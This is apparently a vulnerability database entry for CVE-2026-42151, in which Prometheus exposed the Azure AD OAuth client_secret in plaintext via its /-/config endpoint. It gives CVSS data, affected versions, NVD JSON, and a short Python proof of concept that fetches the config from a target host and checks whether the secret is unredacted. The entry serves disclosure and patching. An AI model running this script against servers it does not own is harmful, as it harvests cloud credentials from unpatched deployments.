Security Vulnerability Report
中文
CVE-2026-42151 CVSS 7.5 HIGH

CVE-2026-42151

Published: 2026-05-04 19:16:04
Last Modified: 2026-05-11 17:22:07

Description

Prometheus is an open-source monitoring system and time series database. Prior to versions 3.5.3 and 3.11.3, the client_secret field in the Azure AD remote write OAuth configuration (storage/remote/azuread) was typed as string instead of Secret. Prometheus redacts fields of type Secret when serving the configuration via the /-/config HTTP API endpoint. Because the field was a plain string, the Azure OAuth client secret was exposed in plaintext to any user or process with access to that endpoint. This issue has been patched in versions 3.5.3 and 3.11.3.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:prometheus:prometheus:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:prometheus:prometheus:*:*:*:*:*:*:*:* - VULNERABLE
Prometheus < 3.5.3
Prometheus < 3.11.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the Prometheus server # Ensure the target is running a vulnerable version (< 3.5.3 or < 3.11.3) target_url = "http://<prometheus-host>:9090/-/config" try: # Send a GET request to the config endpoint # No authentication is required based on the vulnerability description (PR:N) response = requests.get(target_url, timeout=10) if response.status_code == 200: config_data = response.text print("[+] Configuration retrieved successfully:") print(config_data) # Check if azuread client_secret is exposed in plaintext # Vulnerable versions will show the actual secret, fixed versions show "<redacted>" if '"client_secret":' in config_data and '<redacted>' not in config_data: print("\n[!] Potential Vulnerability Found: Azure AD client_secret is exposed in plaintext.") else: print("\n[-] Secret appears to be redacted or not present.") else: print(f"[-] Failed to retrieve config. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42151", "sourceIdentifier": "[email protected]", "published": "2026-05-04T19:16:04.220", "lastModified": "2026-05-11T17:22:07.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Prometheus is an open-source monitoring system and time series database. Prior to versions 3.5.3 and 3.11.3, the client_secret field in the Azure AD remote write OAuth configuration (storage/remote/azuread) was typed as string instead of Secret. Prometheus redacts fields of type Secret when serving the configuration via the /-/config HTTP API endpoint. Because the field was a plain string, the Azure OAuth client secret was exposed in plaintext to any user or process with access to that endpoint. This issue has been patched in versions 3.5.3 and 3.11.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-312"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:prometheus:prometheus:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.48.0", "versionEndExcluding": "3.5.3", "matchCriteriaId": "59F27955-13C7-4DD7-85E8-3D1C62BFF82E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:prometheus:prometheus:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.6.0", "versionEndExcluding": "3.11.3", "matchCriteriaId": "26BB9EEC-D049-4268-953C-E90B253745CE"}]}]}], "references": [{"url": "https://github.com/prometheus/prometheus/pull/18587", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/prometheus/prometheus/pull/18590", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/prometheus/prometheus/releases/tag/v3.11.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/prometheus/prometheus/releases/tag/v3.5.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/prometheus/prometheus/security/advisories/GHSA-wg65-39gg-5wfj", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}